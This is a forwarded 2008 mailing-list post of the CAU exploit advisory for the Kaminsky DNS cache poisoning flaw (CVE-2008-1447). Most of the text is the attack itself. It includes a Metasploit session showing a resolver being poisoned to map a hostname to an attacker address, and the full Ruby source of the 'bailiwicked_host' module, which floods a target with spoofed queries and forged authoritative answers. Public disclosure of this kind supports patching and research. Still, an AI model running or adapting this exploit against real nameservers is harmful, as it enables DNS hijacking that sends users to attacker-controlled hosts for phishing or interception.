just posted on bugtraq and uk newsgroups.... -------- Original Message -------- Subject: CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit Date: Wed, 23 Jul 2008 18:34:26 -0500 From: I)ruid <druid@caughq.org> Organization: Computer Academic Underground To: full-disclosure@lists.grok.org.uk CC: bugtraq <bugtraq@securityfocus.com> ____ ____ __ __ / \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | | | ___ | __ | | | | | ------======######\ \/ /#| |##| |#| |##| |######======------ \____/ |__| |__| \______/ Computer Academic Underground http://www.caughq.org Exploit Code ===============/======================================================== Exploit ID: CAU-EX-2008-0002 Release Date: 2008.07.23 Title: bailiwicked_host.rb Description: Kaminsky DNS Cache Poisoning Flaw Exploit Tested: BIND 9.4.1-9.4.2 Attributes: Remote, Poison, Resolver, Metasploit Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0002.txt Author/Email: I)ruid <druid (@) caughq.org> H D Moore <hdm (@) metasploit.com> ===============/======================================================== Description =========== This exploit targets a fairly ubiquitous flaw in DNS implementations which allow the insertion of malicious DNS records into the cache of the target nameserver. This exploit caches a single malicious host entry into the target nameserver. By causing the target nameserver to query for random hostnames at the target domain, the attacker can spoof a response to the target server including an answer for the query, an authority server record, and an additional record for that server, causing target nameserver to insert the additional record into the cache. Example ======= # /msf3/msfconsole _ _ _ _ | | | | (_) | _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __| | | | | | | __/ || (_| \__ \ |_) | | (_) | | |_ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__| | | |_| =[ msf v3.2-release + -- --=[ 298 exploits - 124 payloads + -- --=[ 18 encoders - 6 nops =[ 72 aux msf > use auxiliary/spoof/dns/bailiwicked_host msf auxiliary(bailiwicked_host) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- HOSTNAME pwned.example.com yes Hostname to hijack NEWADDR 1.3.3.7 yes New address for hostname RECONS 208.67.222.222 yes Nameserver used for reconnaissance RHOST yes The target address SRCPORT yes The target server's source query port (0 for automatic) XIDS 10 yes Number of XIDs to try for each query msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D RHOST => A.B.C.D msf auxiliary(bailiwicked_host) > check [*] Using the Metasploit service to verify exploitability... [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] FAIL: This server uses static source ports and is vulnerable to poisoning msf auxiliary(bailiwicked_host) > set SRCPORT 0 SRCPORT => 0 msf auxiliary(bailiwicked_host) > run [*] Switching to target port 48178 based on Metasploit service [*] Targeting nameserver A.B.C.D [*] Querying recon nameserver for example.com.'s nameservers... [*] Got answer with 2 answers, 0 authorities [*] Got an NS record: example.com. 172643 IN NS ns89.worldnic.com. [*] Querying recon nameserver for address of ns89.worldnic.com.... [*] Got answer with 1 answers, 0 authorities [*] Got an A record: ns89.worldnic.com. 172794 IN A 205.178.190.45 [*] Checking Authoritativeness: Querying 205.178.190.45 for example.com.... [*] ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as [*] Got an NS record: example.com. 172643 IN NS ns90.worldnic.com. [*] Querying recon nameserver for address of ns90.worldnic.com.... [*] Got answer with 1 answers, 0 authorities [*] Got an A record: ns90.worldnic.com. 172794 IN A 205.178.144.45 [*] Checking Authoritativeness: Querying 205.178.144.45 for example.com.... [*] ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as [*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178... [*] Sent 1000 queries and 20000 spoofed responses... [*] Sent 2000 queries and 40000 spoofed responses... [*] Sent 3000 queries and 60000 spoofed responses... [*] Sent 4000 queries and 80000 spoofed responses... [*] Sent 5000 queries and 100000 spoofed responses... [*] Sent 6000 queries and 120000 spoofed responses... [*] Sent 7000 queries and 140000 spoofed responses... [*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7 [*] Auxiliary module execution completed msf auxiliary(bailiwicked_host) > msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D [*] exec: nslookup pwned.example.com A.B.C.D Server: A.B.C.D Address: A.B.C.D#53 Non-authoritative answer: Name: pwned.example.com Address: 1.3.3.7 Credits ======= Dan Kaminsky is credited with originally discovering this vulnerability. References ========== http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447 http://www.kb.cert.org/vuls/id/800113 Metasploit ========== require 'msf/core' require 'net/dns' require 'scruby' require 'resolv' module Msf class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary include Exploit::Remote::Ip def initialize(info = {}) super(update_info(info, 'Name' => 'DNS BailiWicked Host Attack', 'Description' => %q{ This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single malicious host entry into the target nameserver by sending random sub-domain queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for the domain which contain a malicious host entry for the hostname to be poisoned in the authority and additional records sections. Eventually, a guessed ID will match and the spoofed packet will get accepted, and due to the additional hostname entry being within bailiwick constraints of the original request the malicious host entry will get cached. }, 'Author' => [ 'I)ruid', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 5585 $', 'References' => [ [ 'CVE', '2008-1447' ], [ 'US-CERT-VU', '8000113' ], [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ], ], 'Privileged' => true, 'Targets' => [ ["BIND", { 'Arch' => ARCH_X86, 'Platform' => 'linux', }, ], ], 'DisclosureDate' => 'Jul 21 2008' )) register_options( [ OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']), OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]), ], self.class) end def auxiliary_commands return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } end def cmd_check(*args) targ = args[0] || rhost() if(not (targ and targ.length > 0)) print_status("usage: check [dns-server]") return end print_status("Using the Metasploit service to verify exploitability...") srv_sock = Rex::Socket.create_udp( 'PeerHost' => targ, 'PeerPort' => 53 ) random = false ports = [] lport = nil 1.upto(5) do |i| req = Resolv::DNS::Message.new txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") t_port = t_port.to_i if(lport and lport != t_port) random = true end lport = t_port ports << t_port end end end end srv_sock.close if(ports.length < 5) print_status("UNKNOWN: This server did not reply to our vulnerability check requests") return end if(random) print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") print_status(" This server may still be exploitable, but not by this tool.") else print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") end end def run target = rhost() source = Rex::Socket.source_address(target) sport = datastore['SRCPORT'] hostname = datastore['HOSTNAME'] + '.' address = datastore['NEWADDR'] recons = datastore['RECONS'] xids = datastore['XIDS'].to_i ttl = datastore['TTL'].to_i xidbase = rand(4)+2*10000 domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] srv_sock = Rex::Socket.create_udp( 'PeerHost' => target, 'PeerPort' => 53 ) # Get the source port via the metasploit service if it's not set if sport.to_i == 0 req = Resolv::DNS::Message.new txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') sport = t_port.to_i print_status("Switching to target port #{sport} based on Metasploit service") if target != t_addr print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") end end end end end # Verify its not already cached begin query = Resolv::DNS::Message.new query.add_question(hostname, Resolv::DNS::Resource::IN::A) query.rd = 0 begin cached = false srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == hostname and data.address.to_s == address) t = Time.now + ttl print_status("Failure: This hostname is already in the target cache: #{name} == #{address}") print_status(" Cache entry expires on #{t.to_s}... sleeping.") cached = true sleep ttl end end end end until not cached rescue ::Interrupt raise $! rescue ::Exception => e print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") end res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}" # Look up the nameservers for the domain print_status "Querying recon nameserver for #{domain}'s nameservers..." answer0 = res0.send(domain, Net::DNS::NS) #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" barbs = [] # storage for nameservers answer0.answer.each do |rr0| print_status " Got an #{rr0.type} record: #{rr0.inspect}" if rr0.type == 'NS' print_status " Querying recon nameserver for address of #{rr0.nsdname}..." answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" answer1.answer.each do |rr1| print_status " Got an #{rr1.type} record: #{rr1.inspect}" res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." answer2 = res2.send(domain) if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 nsrec = {:name => rr0.nsdname, :addr => rr1.address} barbs << nsrec print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" end end end end if barbs.length == 0 print_status( "No DNS servers found.") srv_sock.close disconnect_ip return end # Flood the target with queries and spoofed responses, one will eventually hit queries = 0 responses = 0 connect_ip if not ip_sock print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") while true randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname # Send spoofed query req = Resolv::DNS::Message.new req.id = rand(2**16) req.add_question(randhost, Resolv::DNS::Resource::IN::A) req.rd = 1 buff = ( Scruby::IP.new( #:src => barbs[0][:addr].to_s, :src => source, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => (rand((2**16)-1024)+1024).to_i, :dport => 53 )/req.encode ).to_net ip_sock.sendto(buff, target) queries += 1 # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address)) req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address)) req.qr = 1 req.ra = 1 xidbase.upto(xidbase+xids-1) do |id| req.id = id barbs.each do |barb| buff = ( Scruby::IP.new( #:src => barbs[i][:addr].to_s, :src => barb[:addr].to_s, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => 53, :dport => sport.to_i )/req.encode ).to_net ip_sock.sendto(buff, target) responses += 1 end end # status update if queries % 1000 == 0 print_status("Sent #{queries} queries and #{responses} spoofed responses...") end # every so often, check and see if the target is poisoned... if queries % 250 == 0 begin query = Resolv::DNS::Message.new query.add_question(hostname, Resolv::DNS::Resource::IN::A) query.rd = 0 srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == hostname and data.address.to_s == address) print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}") disconnect_ip return end end end rescue ::Interrupt raise $! rescue ::Exception => e print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") end end end end end end -- I)ruid, C²ISSP druid@caughq.org http://druid.caughq.org -- ''' (O O) ,-------------- oOO-(_)-OOo -------------, | Stephen Williams | | Manager of Computer Services | | Center for Space Research | | University of Texas at Austin | | 3925 W. Braker Ln., Suite 200 | | Austin, TX 78759-5321 | | 512.471.7235 512.471.3570 (fax) | | williams@csr.utexas.edu | |____________________ Oooo ______________| oooO ( ) ( ) ) / \ ( (_/ \_)